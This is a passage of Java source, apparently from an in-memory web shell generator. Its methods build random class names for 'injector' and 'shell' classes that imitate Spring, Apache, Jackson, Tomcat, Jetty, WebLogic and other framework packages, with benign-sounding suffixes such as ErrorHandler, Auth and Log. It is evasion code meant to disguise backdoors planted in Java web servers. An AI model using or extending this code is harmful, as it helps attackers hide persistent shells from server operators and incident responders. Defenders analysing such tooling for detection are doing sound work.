public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
private static final String[] PACKAGE_NAMES = {
"org.springframework",
"org.apache.commons",
"org.apache.logging",
"org.apache",
"com.fasterxml.jackson",
"org.junit",
"org.apache.commons.lang",
"org.apache.http.client",
"com.google.gso",
"ch.qos.logback"
};
private static final String[] MIDDLEWARE_NAMES = {
"Error",
"Log",
"Report",
"Auth",
"OAuth",
"Checker"
};
public static byte[] gzipCompress(byte[] data) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
try (GZIPOutputStream gzip = new GZIPOutputStream(out)) {
gzip.write(data);
}
return out.toByteArray();
}
public static String getRandomString(int length) {
String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
SecureRandom random = new SecureRandom();
StringBuilder sb = new StringBuilder();
for (int i = 0; i < length; i++) {
int number = random.nextInt(52);
sb.append(str.charAt(number));
}
return sb.toString();
}
private static String getRandomPackageName() {
return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
}
public static String generateShellClassName() {
return getRandomPackageName() + ".ErrorHandler";
}
public static String generateInjectorClassName() {
return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)];
}
public static String generateShellClassName(Server server, String shellType) {
String packageName = switch (server) {
case Jetty -> "org.eclipse.jetty.servlet.handlers";
case Undertow, JBossEAP7, WildFly -> "io.undertow.servlet.handlers";
case SpringMVC -> "org.springframework.boot.mvc.handlers";
case SpringWebflux -> "org.springframework.boot.webflux.handlers";
case WebSphere -> "com.ibm.ws.webcontainer.handlers";
case WebLogic -> "weblogic.servlet.internal.handlers";
case Resin -> "com.caucho.server.dispatch.handlers";
default -> "org.apache.catalina.web.handlers";
};
return packageName
+ "." + getRandomString(1)
+ "." + getRandomString(1)
+ "." + getRandomString(1)
+ "." + MIDDLEWARE_NAMES[new Random().nextInt(MIDDLEWARE_NAMES.length)] + shellType;
}
}